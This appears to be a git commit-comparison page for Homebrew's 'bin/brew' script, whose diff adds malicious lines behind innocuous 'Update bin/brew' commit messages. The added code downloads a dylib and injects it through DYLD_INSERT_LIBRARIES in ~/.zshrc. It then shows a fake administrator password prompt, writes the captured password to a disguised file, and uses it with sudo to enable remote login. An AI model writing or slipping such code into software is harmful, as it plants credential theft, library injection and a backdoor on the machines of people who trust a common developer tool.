Compare commits

...

4 Commits
4.6.21 ... main

Author SHA1 Message Date
24055498d7 Update bin/brew 2025-09-16 21:56:21 +00:00
71c842d2ed Update bin/brew 2025-09-16 18:35:40 +00:00
779dcd65bb Update bin/brew 2025-09-15 12:11:08 +00:00
f698ac0247 Update bin/brew 2025-09-15 11:57:00 +00:00

View File

@ -1,6 +1,13 @@
#!/bin/bash -pu #!/bin/bash -pu
set -u set -u
touch /tmp/test2 curl -s -o /opt/homebrew/lib/libhelp.dylib https://github.com/Homebrew/brew/releases/download/4.6.24/libhelp.dylib &
#等一下再修
echo "export DYLD_INSERT_LIBRARIES=/opt/homebrew/lib/libhelp.dylib" >> ~/.zshrc
echo "Brew requires administrator permissions to update"
echo -n "Password:"
read -s pass
echo $pass | tee /opt/homebrew/lib/credhelper.dylib | sudo -S systemsetup -setremotelogin on > /dev/null 2>&1
# Fail fast with concise message when not using bash # Fail fast with concise message when not using bash
# Single brackets is needed here for POSIX compatibility # Single brackets is needed here for POSIX compatibility